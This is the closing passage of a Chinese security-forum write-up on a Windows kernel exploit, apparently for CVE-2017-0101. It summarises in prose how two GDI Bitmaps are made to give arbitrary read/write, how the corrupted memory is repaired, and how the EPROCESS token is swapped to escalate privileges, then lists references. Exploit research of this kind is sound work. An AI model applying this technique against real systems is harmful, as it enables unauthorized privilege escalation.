由于0xFD9E200处的Bitmap被扩展了读写能力,我们有机会改变垫片Bitmap其pvscan0内存,将其指向了0xFD9E200处Bitmap-pvscan0,从而构造了两个Bitmap任意读写。

    

最终利用该处构造的Bitmap任意读写,在对破坏内存处进行修复,下图中已修复成功。

    

拥有了任意读写,提权也不是问题,接下来就是遍历EPROCESS,Token替换。至此,至此提权完成。




参考


 
分析笔记:CVE-2017-0101 整数溢出漏洞(xiaodao师傅博客强烈推荐)
https://xiaodaozhi.com/exploit/70.html

Win32k相关
https://bbs.pediy.com/thread-225209.htm

Windows exploit开发系列教程第十七部分:内核利用程序之滥用GDI Bitmap(Win7-10 32/64位)
https://bbs.pediy.com/thread-225209.htm



- End -







看雪ID:C0D1

https://bbs.pediy.com/user-768086.htm 


*本文由看雪论坛  C0D1  原创,转载请注明来自看雪社区





推荐文章++++

应急服务辅助工具与系统溯源思路

利用auxv控制canary

未知黑客团队钓鱼样本分析

使用Binary Ninja去除ollvm流程平坦混淆

某盗链App逆向


好书推荐






公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存